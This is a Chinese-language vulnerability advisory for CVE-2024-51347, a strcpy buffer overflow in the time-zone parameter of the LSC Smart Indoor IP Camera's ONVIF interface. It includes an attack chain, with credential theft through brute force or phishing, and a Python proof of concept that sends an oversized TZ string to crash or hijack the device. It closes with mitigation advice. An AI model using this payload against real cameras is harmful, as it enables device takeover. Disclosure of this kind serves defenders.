IPBUF安全漏洞报告
English
CVE-2024-51347 CVSS 7.2 高危

CVE-2024-51347 LSC智能摄像头缓冲区溢出漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2024-51347
漏洞类型
缓冲区溢出
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
LSC Smart Indoor IP Camera

相关标签

缓冲区溢出远程代码执行物联网安全LSCONVIFCVE-2024-51347

漏洞概述

CVE-2024-51347 是 LSC Smart Indoor IP Camera V7.6.32 版本 dgiot 二进制文件中存在的一个缓冲区溢出漏洞。该漏洞位于 ONVIF 配置接口的时区(TZ)参数处理逻辑中。由于系统未对用户输入的 TZ 参数长度进行有效验证,直接使用不安全的 strcpy 函数将其拷贝至固定大小的缓冲区,导致缓冲区溢出。攻击者可利用此漏洞造成设备崩溃或执行任意代码,严重影响设备的机密性、完整性和可用性。

技术细节

该漏洞的技术根源在于 dgiot 二进制文件在解析 ONVIF 配置请求时的代码逻辑缺陷。具体来说,当设备处理通过 ONVIF 接口提交的时区(TZ)设置请求时,程序将用户可控的 TZ 字符串直接传递给 C 语言标准库中的 strcpy 函数。由于 strcpy 函数不会检查源字符串的长度,只要输入的数据超过目标缓冲区(固定大小)的容量,就会发生缓冲区溢出。攻击者可以通过构造超长的时区字符串覆盖栈上的返回地址或关键变量。尽管 CVSS 评分显示攻击需要高权限(PR:H),即攻击者通常需要拥有管理员凭证才能访问配置接口,但一旦触发,该漏洞可导致执行任意代码,进而完全控制设备。

攻击链分析

STEP 1
侦察
攻击者识别目标设备为 LSC Smart Indoor IP Camera,并确定固件版本为 V7.6.32。
STEP 2
获取凭证
由于漏洞需要高权限(PR:H),攻击者通过暴力破解、钓鱼或利用默认凭证获取设备管理员账号和密码。
STEP 3
构造恶意请求
攻击者构造一个特制的 ONVIF SOAP 请求,其中包含超长的时区(TZ)参数字符串,旨在触发缓冲区溢出。
STEP 4
发送攻击载荷
攻击者使用管理员凭证向设备的 ONVIF 配置接口发送恶意请求。
STEP 5
执行代码
dgiot 二进制文件处理请求时,strcpy 函数导致栈溢出,覆盖返回地址,从而劫持控制流并执行恶意代码,获取设备控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests # Target configuration # Note: Exploitation requires High Privileged (Admin) access target_url = "http://<TARGET_IP>:<PORT>/onvif/device_service" username = "admin" password = "<PASSWORD>" # Vulnerability: Buffer overflow in TZ parameter # Generating a payload to trigger the crash (e.g., 500 'A's) # Adjust length based on specific buffer size if known buffer_size = 500 payload = "A" * buffer_size # SOAP body structure to set Time Zone via ONVIF soap_body = f"""<?xml version="1.0" encoding="UTF-8"?> <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"> <s:Body> <SetSystemDateAndTime xmlns="http://www.onvif.org/ver10/device/wsdl"> <TimeZone> <TZ>{payload}</TZ> </TimeZone> <UTCDateTime>false</UTCDateTime> </SetSystemDateAndTime> </s:Body> </s:Envelope>""" headers = { 'Content-Type': 'application/soap+xml; charset=utf-8', 'SOAPAction': '"http://www.onvif.org/ver10/device/wsdl/SetSystemDateAndTime"' } # Sending the malicious request try: # In a real scenario, implement Digest Auth or Basic Auth as required by the camera response = requests.post(target_url, data=soap_body, headers=headers, auth=(username, password), timeout=5) if response.status_code == 200 or response.status_code == 500: print("[+] Payload sent successfully. Check device for crash or shell.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

LSC Smart Indoor IP Camera V7.6.32

防御指南

临时缓解措施
建议用户立即检查设备固件更新,并安装厂商提供的修复补丁。在无法立即升级的情况下,应考虑在内部网络防火墙上禁用 ONVIF 端口(通常为 TCP 80 或 443,或专用 ONVIF 端口),或仅允许受信任的 IP 地址访问,同时确保管理员账户密码强度足够,防止被轻易攻破。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表